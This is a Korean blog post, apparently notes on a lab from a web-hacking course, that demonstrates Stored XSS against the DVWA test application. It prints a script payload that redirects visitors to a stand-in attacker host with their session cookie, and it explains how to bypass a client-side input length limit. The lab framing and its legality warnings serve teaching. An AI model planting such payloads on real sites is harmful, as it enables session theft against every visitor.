Web hacking/기법

XSS_(3) Stored XSS 실습

jin_li 2023. 5. 14. 16:41

※ "화이트 해커를 위한 웹 해킹의 기술" 강의 및 책에 수록된 실습이다.
※ 허가 받지 않은 웹사이트에 해킹을 시도 하는 것은 불법.
※ dvwa 등 테스트 가능하게 만들어진 곳에서만 모의해킹을 해야한다.

 

 

 

Stored XSS는 스크립트 코드가 서버에 저장된 후에 이루어지는 공격이다. 한 번 스크립트를 삽입하고 나면 그 페이지에 접속하는 모든 사용자가 공격 당하게 된다. 따라서 Reflected XSS보다 위험하다.

 

 

security level을 low로 설정한 뒤 이번에는 Stored XSS 탭으로 간다.

 

게시글을 저장할 수 있는 방명록이 있다. 여기에 Reflected XSS 실습할 때 쓴 코드를 저장해보자.

 

 

<script>document.location="http://127.0.0.1/cookie?"+document.cookie</script>

 

 

입력 글자 수 제한이 걸려있어 코드 전부 삽입이 안 될 수 있다.

입력 글자 수를 클라이언트 측에서 확인하는 경우가 많으므로 개발자도구 켜서 다음과 같이 간단하게 우회할 수 있다.

 

maxlength 속성값을 50에서 5000으로 늘렸다

 

 

이제 삽입 후 sign guestbook을 눌러 저장하자.

저장하는 과정에서 다시 이 방명록 페이지로 접속되면서 스크립트가 바로 실행된다.

 

 

 

이제 공격자 호스트에서 로그를 보면,

 

쿠키가 전송된 것을 볼 수 있다.